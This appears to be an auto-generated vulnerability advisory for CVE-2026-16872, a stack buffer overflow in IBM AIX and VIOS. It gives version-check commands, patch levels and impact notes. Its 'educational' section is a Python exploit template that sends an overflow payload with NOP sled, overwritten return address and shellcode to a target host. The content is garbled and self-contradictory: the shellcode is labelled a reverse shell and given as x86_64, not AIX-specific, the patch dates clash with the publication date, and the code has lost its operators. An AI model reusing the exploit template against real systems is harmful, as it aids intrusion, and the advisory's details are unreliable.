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IBM AIX version 7.2, 7.3, and IBM PowerVM VIOS 4.1 are affected by a critical stack-based buffer overflow vulnerability identified as CVE-2026-16872. This flaw stems from insufficient bounds checking when handling network input, allowing an attacker to overwrite memory on the call stack. The vulnerability is classified under CWE-121 (Stack-based Buffer Overflow).
The attack vector is network-based, requires low attack complexity, and demands no privileges or user interaction. A remote attacker can craft a malicious network packet that, when processed by the vulnerable service, triggers a buffer overflow condition. This overflow corrupts the stack memory, overwriting critical control data such as return addresses and function pointers.
Successful exploitation allows the attacker to redirect program execution flow to injected shellcode, achieving arbitrary code execution on the target system. The attacker gains the same privileges as the affected process—typically root or SYSTEM-level access on AIX and VIOS environments. This leads to full system compromise, including complete loss of confidentiality, integrity, and availability.
The vulnerability is publicly known and has been published, yet at the time of initial disclosure, no official patch or remediation information was provided by the vendor. However, IBM has since released fixes via APARs (Authorized Program Analysis Reports) and Service Packs. The CVSS 3.1 base score is 9.8 (Critical), with the vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The NVD published this CVE on August 19, 2026, with a last modification date of August 20, 2026.
DailyCVE Form:
Platform: IBM AIX / PowerVM VIOS
Version: 7.2, 7.3, 4.1
Vulnerability: Stack-based buffer overflow
Severity: Critical (9.8 CVSS)
Date: August 19, 2026
Prediction: Patches available August 14, 2026
What Undercode Say:
Check AIX version
oslevel -s
Check VIOS version
ioslevel
Verify if system is vulnerable (AIX 7.2 TL05 SP12 or lower)
instfix -i -k "IJ59566" || echo "Vulnerable - APAR IJ59566 not applied"
Verify if system is vulnerable (AIX 7.3 TL04 SP1 or lower)
instfix -i -k "IJ59565" || echo "Vulnerable - APAR IJ59565 not applied"
Check VIOS 4.1.0 fix level (should be 4.1.0.50 or higher)
ioslevel | grep -E "4.1.0.[0-4][0-9]" && echo "Vulnerable - Upgrade to 4.1.0.50 required"
Check VIOS 4.1.1 fix level (should be 4.1.1.30 or higher)
ioslevel | grep -E "4.1.1.[0-2][0-9]" && echo "Vulnerable - Upgrade to 4.1.1.30 required"
Check VIOS 4.1.2 fix level (should be 4.1.2.20 or higher)
ioslevel | grep -E "4.1.2.[0-1][0-9]" && echo "Vulnerable - Upgrade to 4.1.2.20 required"
Monitor for suspicious network connections
netstat -an | grep -E "LISTEN|ESTABLISHED" | awk '{print $5}' | cut -d: -f1 | sort -u
Check for unexpected processes
ps -ef | grep -v "root" | grep -v "daemon"
Exploit: (Educational Purposes!)
The following pseudo-code demonstrates the exploitation concept:
EDUCATIONAL PURPOSES ONLY - Do not use on production systems import socket Target IP and port (assuming vulnerable service on port 1234) target_ip = "192.168.1.100" target_port = 1234 Shellcode for reverse shell (example - x86_64 Linux/AIX) In real scenario, this would be AIX-specific shellcode shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" Buffer overflow payload 1. Fill buffer with NOP sled 2. Place shellcode in the middle 3. Overwrite return address with address pointing to shellcode nop_sled = b"\x90" 100 return_address = b"\x00\x7f\xff\xff\xff\xff" Example address - adjust based on target payload = b"A" 256 Buffer to overflow payload += b"B" 8 Padding payload += return_address Overwrite saved RIP payload += nop_sled payload += shellcode Send payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(payload) sock.close()
Protection:
- Apply IBM Fixes Immediately: IBM has released fixes via APARs. Apply the following Service Packs (SPs) and Fix Packs (FPs):
– AIX 7.3: TL04 SP2, TL03 SP3, or TL02 SP5
– AIX 7.2: TL05 SP13
– VIOS 4.1.2: 4.1.2.20
– VIOS 4.1.1: 4.1.1.30
– VIOS 4.1.0: 4.1.0.50
2. Download Fixes from IBM Fix Central: https://www.ibm.com/support/fixcentral
3. Reboot Required: An LPAR reboot is required to complete the SP/FP update. On AIX, Live Update can be used to avoid a reboot.
4. Network Segmentation: Restrict network access to AIX and VIOS systems using firewalls and ACLs. Allow only trusted IP addresses to connect to administrative services.
5. Monitor IBM Security Advisories: Stay updated with IBM’s official security bulletins for any additional workarounds or mitigations.
Impact:
- Confidentiality: An attacker can read sensitive data, including system files, configuration files, and user data, leading to data breaches.
- Integrity: The attacker can modify system files, install backdoors, or alter system configurations, compromising the integrity of the system.
- Availability: Successful exploitation can cause system crashes, denial of service, or complete system compromise, affecting critical business operations.
- Privilege Escalation: The attacker gains root or system-level privileges, enabling full control over the affected AIX or VIOS system.
- Lateral Movement: Compromised AIX/VIOS systems can be used as a pivot point to attack other systems within the network.
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Sources:
Reported By: nvd.nist.gov
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